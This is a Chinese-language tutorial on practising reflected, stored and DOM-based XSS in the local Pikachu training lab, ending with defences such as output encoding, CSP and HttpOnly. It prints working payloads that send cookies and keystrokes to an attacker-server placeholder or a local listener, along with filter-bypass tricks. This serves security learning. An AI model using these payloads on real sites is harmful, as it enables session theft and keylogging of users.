1. 从靶场环境说起:为什么选这个平台练手
搞Web安全的人,手里没几个练手靶场是说不过去的。Pikachu这个靶场在国内安全圈子里知名度很高,它把常见的Web漏洞类型都做成了独立的模块,每个模块都有明确的攻击目标和预期结果。我当初选它来练XSS,原因很简单:它的XSS模块分了三类——反射型、存储型、DOM型,每类都有完整的输入输出链路,不像有些靶场只给一个孤零零的输入框,打完就完了,根本不知道实际场景里怎么用。
XSS(跨站脚本攻击)这个漏洞,说白了就是攻击者往页面里塞了一段浏览器能执行的脚本,其他用户访问这个页面时,脚本就在他们的浏览器里跑起来了。听起来好像没什么大不了,但实际危害可以很大——窃取Cookie、伪造操作、挂马、钓鱼,甚至配合其他漏洞拿下服务器。Pikachu的XSS模块把这些攻击路径都做了简化,让你能专注在漏洞原理和利用手法上,不用花时间搭环境。
这篇文章适合谁看?如果你刚接触Web安全,知道XSS这个词但没实际打过;或者你打过CTF里的XSS题,但不知道真实场景里怎么利用——那这篇内容就是给你准备的。我会从环境搭建开始,把三类XSS的完整攻击流程走一遍,包括每一步为什么这么做、参数怎么构造、遇到问题怎么排查。所有操作都在Pikachu靶场里完成,不涉及任何真实目标。
注意:本文所有操作均在本地搭建的Pikachu靶场环境中进行,仅用于安全技术学习。任何未经授权的攻击行为都是违法的,请务必遵守相关法律法规。
2. 环境搭建与靶场部署实操
2.1 基础环境选型与安装
Pikachu是基于PHP+MySQL开发的,所以最省事的部署方式就是用集成环境。我试过几种方案,最后固定在phpStudy上,原因是它切换PHP版本方便,Pikachu有些模块对PHP版本有要求,用phpStudy可以快速调整。
具体步骤是这样的:先去phpStudy官网下载最新版本,安装过程一路下一步就行。安装完成后启动Apache和MySQL服务,然后在网站根目录下新建一个文件夹叫pikachu,把下载好的Pikachu源码解压进去。源码可以在GitHub上搜到,直接clone或者下载zip包都行。
接下来是数据库配置。Pikachu的数据库配置文件在inc/config.inc.php里,你需要根据自己MySQL的实际配置修改数据库地址、用户名和密码。默认情况下phpStudy的MySQL用户名是root,密码也是root,端口3306。改完配置文件后,浏览器访问http://localhost/pikachu/install.php,按照提示一步步初始化数据库。初始化完成后,用默认账号admin/123456登录,就能看到完整的靶场界面了。
这里有个细节要注意:如果你的80端口被占用了,phpStudy启动Apache会失败。解决办法是在phpStudy的设置里把Apache端口改成8080或者其他空闲端口,然后访问的时候加上端口号就行。我一开始就踩过这个坑,折腾了半天以为是源码问题,结果就是端口冲突。
2.2 XSS模块的入口与功能分布
登录Pikachu后,左侧菜单栏里找到“XSS”分类,下面有三个子模块:反射型XSS、存储型XSS、DOM型XSS。每个模块点进去后,页面会显示一个简单的表单或者留言板,这就是我们的攻击入口。
反射型XSS的页面是一个输入框,你输入什么它就显示什么,典型的“输入即输出”场景。存储型XSS是一个留言板,你提交的内容会被存到数据库里,刷新页面或者其他人访问时都会显示。DOM型XSS则是一个下拉选择框,选择不同的选项会触发前端JavaScript改变页面内容。
这三个模块的设计意图很明确:反射型对应的是那些把用户输入直接拼接到HTML里返回的场景,比如搜索框、错误提示页;存储型对应的是论坛、评论、用户资料这类会把数据持久化的场景;DOM型对应的是前端JavaScript直接操作DOM导致的问题,比如innerHTML、document.write这类操作。
实操心得:建议先把三个模块的源码都看一遍,Pikachu的代码写得很直白,没有复杂的框架封装,你能清楚地看到输入是怎么被处理的、输出是怎么被拼接的。看懂源码再打,比盲目试payload效率高得多。
3. 反射型XSS的攻击链路拆解
3.1 漏洞原理与代码审计
反射型XSS的核心问题是:后端把用户输入的内容直接拼接到HTML响应里,没有做任何转义或过滤。浏览器收到响应后,把这段内容当作HTML解析,如果里面包含<script>标签,就会执行里面的JavaScript代码。
打开Pikachu反射型XSS模块的源码文件,核心代码大概长这样:
$html = ''; if(isset($_GET['submit'])){ $html = $_GET['message']; echo "<p>".$html."</p>"; }你看,$_GET['message']直接就被拼接到<p>标签里输出了,没有任何htmlspecialchars()之类的转义函数。这意味着如果我输入<script>alert(1)</script>,最终输出的HTML就是<p><script>alert(1)</script></p>,浏览器解析到<script>标签就会执行alert(1)。
这就是反射型XSS的典型特征:payload在URL参数里,服务器原样返回,浏览器执行。它不存储在任何地方,所以叫“反射型”——像镜子一样,你输入什么就反射什么。
3.2 基础payload构造与验证
最简单的验证payload就是<script>alert(1)</script>。在输入框里输入这段代码,点击提交,如果弹出一个显示“1”的对话框,说明漏洞存在。
但实际场景里,alert(1)只是验证漏洞存在,真正有危害的是窃取用户数据。比如窃取Cookie的payload:
<script>new Image().src="http://攻击者服务器/steal.php?c="+document.cookie;</script>这段代码会创建一个Image对象,把当前页面的Cookie作为参数发送到攻击者控制的服务器。攻击者只需要在服务器上放一个简单的PHP脚本接收并记录这个Cookie,就能拿到受害者的会话凭证。
在Pikachu靶场里,你可以把攻击者服务器换成本地的一个简单HTTP服务来验证。比如用Python起一个:
python3 -m http.server 8888然后把payload里的地址改成http://127.0.0.1:8888/steal?c=,提交后查看Python的访问日志,就能看到Cookie被传过来了。
注意:实际攻击中,攻击者会把这个带有payload的URL伪装成正常链接,通过钓鱼邮件、论坛帖子等方式诱导受害者点击。受害者点击后,浏览器执行脚本,Cookie就被偷走了。
3.3 绕过简单过滤的技巧
Pikachu的反射型XSS模块默认没有过滤,但实际场景里往往会有一些简单的防护措施。我整理了几种常见的绕过手法,在靶场里可以手动加上过滤规则来模拟练习。
第一种是大小写混合。有些过滤只检查小写的<script>,那你可以用<Script>或者<SCRIPT>来绕过。第二种是使用其他标签,比如<img src=x onerror=alert(1)>,这个payload不依赖<script>标签,而是利用图片加载失败时触发的onerror事件来执行代码。第三种是编码绕过,比如把<编码成%3C,把>编码成%3E,有些过滤只检查原始字符,解码后就绕过了。
在Pikachu里练习的时候,你可以自己在源码里加一个简单的str_replace过滤,然后尝试用上面的方法绕过。这种“自己加规则自己绕”的练习方式,比直接打无过滤的靶场收获大得多。
4. 存储型XSS的持久化攻击
4.1 与反射型的本质区别
存储型XSS和反射型最大的区别在于:payload被存到了数据库里,所有访问这个页面的用户都会中招。反射型需要诱导受害者点击特定URL,存储型不需要——只要受害者访问了被注入的页面,脚本就会执行。
Pikachu的存储型XSS模块是一个留言板。你提交的留言会被存到数据库,然后页面从数据库读取留言并显示。如果留言内容没有经过转义就输出到HTML里,存储型XSS就成立了。
看源码的话,核心逻辑大概是:
// 提交留言 $message = $_POST['message']; $sql = "INSERT INTO messages (content) VALUES ('$message')"; // 显示留言 $result = mysqli_query($conn, "SELECT content FROM messages"); while($row = mysqli_fetch_assoc($result)){ echo "<div>".$row['content']."</div>"; }问题出在显示的时候,$row['content']直接拼接到<div>里,没有转义。所以如果你提交的留言是<script>alert(document.cookie)</script>,这段代码会被存到数据库,每次页面加载时都会执行。
4.2 完整攻击流程演示
在Pikachu存储型XSS模块里,我在留言框输入以下payload:
<script> var img = new Image(); img.src = "http://127.0.0.1:8888/log?cookie=" + encodeURIComponent(document.cookie); </script>提交后,页面刷新,留言显示出来。同时,Python的HTTP服务日志里出现了请求记录,Cookie被成功传出来了。
这里有个细节:encodeURIComponent是必须的,因为Cookie里可能包含特殊字符,直接拼接到URL里会导致请求失败。编码后,服务端收到的是编码过的字符串,解码就能还原。
存储型XSS的危害比反射型大得多,因为它不需要诱导点击,只要用户访问了被注入的页面就会中招。在实际场景里,论坛、博客评论、用户昵称、个人签名这些地方都是存储型XSS的高发区。
4.3 存储型XSS的进阶利用
除了窃取Cookie,存储型XSS还可以用来做更多事情。比如键盘记录:注入一段JavaScript,监听用户的键盘输入,把输入内容发送到攻击者服务器。再比如钓鱼:注入一个伪造的登录表单,覆盖在页面原有内容上,诱导用户输入账号密码。
在Pikachu靶场里,你可以尝试注入一段键盘记录脚本:
<script> document.onkeypress = function(e){ var key = String.fromCharCode(e.which); new Image().src = "http://127.0.0.1:8888/key?k=" + key; } </script>这段代码会记录用户在页面上的每一次按键,并发送到攻击者服务器。虽然Pikachu的留言板页面没什么敏感输入,但这个技术本身在实际攻击中非常危险。
实操心得:存储型XSS的payload要尽量短小精悍,因为有些场景对输入长度有限制。我习惯把核心逻辑压缩成一行,比如
<script>new Image().src="http://x/?"+document.cookie</script>,这样即使有长度限制也能塞进去。
5. DOM型XSS的前端视角
5.1 DOM型XSS的独特之处
DOM型XSS和前两种有本质区别:它的漏洞点不在后端,而在前端JavaScript代码里。后端可能做了完善的过滤和转义,但前端JavaScript在操作DOM时把不可信的数据当作HTML插入了,导致XSS。
Pikachu的DOM型XSS模块是一个下拉选择框,选择不同的选项会触发JavaScript改变页面内容。看源码的话,核心逻辑大概是:
var choice = document.getElementById("choice").value; document.getElementById("content").innerHTML = "你选择的是:" + choice;问题出在innerHTML上。innerHTML会把字符串当作HTML解析,如果字符串里包含<script>或者事件处理器,就会被执行。而innerText或者textContent则不会,它们只把内容当作纯文本。
5.2 利用手法与payload构造
在Pikachu的DOM型XSS模块里,下拉框的选项是固定的,但你可以通过修改URL参数或者直接在控制台里操作来注入payload。比如在浏览器控制台里执行:
document.getElementById("choice").value = "<img src=x onerror=alert(1)>"; document.getElementById("choice").dispatchEvent(new Event("change"));这段代码把下拉框的值改成payload,然后手动触发change事件,页面就会执行alert(1)。
实际场景里,DOM型XSS的入口往往是URL的hash部分或者查询参数。比如有些页面会用location.hash来动态改变内容,攻击者可以构造一个带有payload的URL,诱导受害者点击。因为hash部分不会发送到服务器,所以服务端的日志和WAF都看不到,隐蔽性很强。
5.3 前端安全编码的注意事项
要防御DOM型XSS,核心原则是:永远不要把不可信的数据用innerHTML、document.write、eval这些方法处理。如果确实需要动态改变内容,用textContent或者innerText,它们不会解析HTML标签。
如果必须插入HTML,那就用DOMPurify这类库做净化处理。DOMPurify会过滤掉所有危险的标签和属性,只保留安全的HTML。我在实际项目里用过这个库,配置简单,效果很好。
另外,现代前端框架比如React、Vue默认会对插值做转义,但如果你用了dangerouslySetInnerHTML(React)或者v-html(Vue),那就等于主动打开了XSS的大门。用这些API的时候一定要确保数据来源可信,或者先做净化。
注意:DOM型XSS的排查不能只看后端代码,必须结合前端JavaScript一起审计。很多开发团队后端安全做得很到位,但前端代码里一个
innerHTML就把防线撕开了。
6. 常见问题与排查技巧实录
6.1 payload不执行的原因排查
打XSS的时候,最常遇到的问题就是payload提交了但没弹窗。我整理了一个排查清单,按顺序检查基本能定位问题。
| 问题现象 | 可能原因 | 排查方法 |
|---|---|---|
| 页面显示payload原文 | 被转义了 | 查看页面源码,看<是否变成了< |
| 页面空白或报错 | payload破坏了HTML结构 | 检查标签是否闭合,尝试用<img src=x onerror=alert(1)> |
| 弹窗没出现但代码在源码里 | 浏览器拦截了 | 查看控制台是否有CSP报错 |
| 存储型提交后不显示 | 数据库写入失败 | 检查数据库连接和字段长度限制 |
| DOM型修改后没反应 | 事件没触发 | 手动dispatchEvent或者刷新页面 |
最常见的情况是被转义了。比如你输入<script>alert(1)</script>,页面源码里显示的是<script>alert(1)</script>,说明后端用了htmlspecialchars()。这时候要么找绕过方法,要么换其他注入点。
6.2 浏览器安全机制的影响
现代浏览器有一些内置的安全机制会影响XSS的利用。比如Chrome的XSS Auditor(虽然现在已经移除了)会拦截反射型XSS,CSP(内容安全策略)会限制脚本的执行来源。
在Pikachu靶场里练习的时候,如果遇到payload不执行,可以先打开浏览器的开发者工具,看Console里有没有报错。如果是CSP拦截,报错信息会明确告诉你哪个指令阻止了脚本执行。
另外,Cookie的HttpOnly属性也会影响Cookie窃取。如果目标站点的Cookie设置了HttpOnly,JavaScript就读取不到document.cookie,窃取Cookie的payload就失效了。这时候可以转向其他利用方式,比如伪造操作、键盘记录、钓鱼表单。
6.3 靶场练习的进阶建议
Pikachu的XSS模块打完一遍之后,建议做两件事:第一,自己给靶场加上过滤规则,然后尝试绕过。比如加一个str_replace把<script>替换成空字符串,然后试试用<img src=x onerror=alert(1)>绕过。第二,去分析真实开源项目里的XSS漏洞,看看别人是怎么发现和利用的。
我个人的经验是,XSS的难点不在payload构造,而在注入点的发现和绕过过滤。payload网上到处都是,但找到一个能注入的点、判断它有没有过滤、构造出能绕过的payload,这才是真正考验功底的地方。
实操心得:建议养成一个习惯——看到输入框就测一下
<script>alert(1)</script>,看到URL参数就试试改成"><script>alert(1)</script>,看到前端JavaScript操作DOM就看看有没有innerHTML。这些条件反射式的检查,在实际工作中能帮你快速定位问题。
7. 防御思路与安全编码实践
7.1 输出编码是第一道防线
防御XSS最有效的手段就是输出编码。核心原则是:根据输出位置选择合适的编码方式。如果数据要输出到HTML标签之间,用HTML实体编码;如果输出到HTML属性里,用属性编码;如果输出到JavaScript里,用JavaScript编码;如果输出到URL里,用URL编码。
PHP里用htmlspecialchars($str, ENT_QUOTES, 'UTF-8')就能完成HTML实体编码,把<变成<,>变成>,"变成",'变成'。这样浏览器就不会把用户输入当作HTML解析了。
Java里可以用StringEscapeUtils.escapeHtml4(),Python里可以用html.escape(),原理都一样。关键是养成习惯:任何输出到页面的用户数据,都必须经过编码。
7.2 输入验证与白名单策略
输出编码是根本,但输入验证也能加一层防护。输入验证的核心是白名单:只允许符合预期格式的输入通过,其他一律拒绝。比如用户名只允许字母和数字,邮箱必须符合邮箱格式,年龄必须是数字。
白名单比黑名单安全得多,因为黑名单永远列不全所有可能的攻击向量。你封了<script>,攻击者可以用<img onerror>;你封了onerror,攻击者可以用onload;你封了事件处理器,攻击者可以用javascript:伪协议。黑名单是堵不完的,白名单才是正道。
7.3 CSP与HttpOnly的辅助作用
CSP(内容安全策略)是一个HTTP响应头,可以限制页面能加载哪些资源、能执行哪些脚本。比如设置Content-Security-Policy: script-src 'self',页面就只能执行同源的脚本,内联脚本和外部恶意脚本都会被阻止。
HttpOnly是Cookie的一个属性,设置后JavaScript就读取不到这个Cookie。这样即使XSS漏洞存在,攻击者也没法通过document.cookie窃取会话凭证。不过HttpOnly只保护Cookie,不能阻止XSS的其他危害,比如伪造操作、键盘记录。
CSP和HttpOnly都是纵深防御的一部分,不能替代输出编码,但能在出问题的时候降低危害。我在实际项目里会建议开发团队至少把CSP和HttpOnly加上,成本低,效果明显。
注意:CSP配置不当反而会影响正常功能,建议先在报告模式下运行一段时间,观察有没有误拦截,确认没问题再切换到强制模式。
8. 从靶场到实战的思维转变
Pikachu靶场里的XSS模块设计得很纯粹,输入输出链路清晰,没有干扰因素。但真实场景远比靶场复杂:有WAF、有CSP、有前端框架的自动转义、有各种编码和过滤。在靶场里打一遍,掌握的是原理和基本手法;要真正能在实战中发现问题,还需要大量的代码审计和漏洞挖掘练习。
我个人的体会是,XSS的防御比攻击更难。攻击只需要找到一个突破口,防御却要覆盖所有输出点。一个大型项目里可能有几百个输出点,漏掉一个就可能出问题。所以防御XSS不能靠人肉检查,必须靠框架和规范——用安全的模板引擎、统一的输出编码函数、自动化的CSP配置,把安全做成默认行为,而不是依赖开发者的安全意识。
最后分享一个小技巧:在浏览器里装一个XSS检测插件,比如XSS Helper或者类似工具,它会在你提交表单时自动尝试各种payload,帮你快速判断有没有注入点。不过插件只是辅助,真正的判断还是要靠你自己的分析。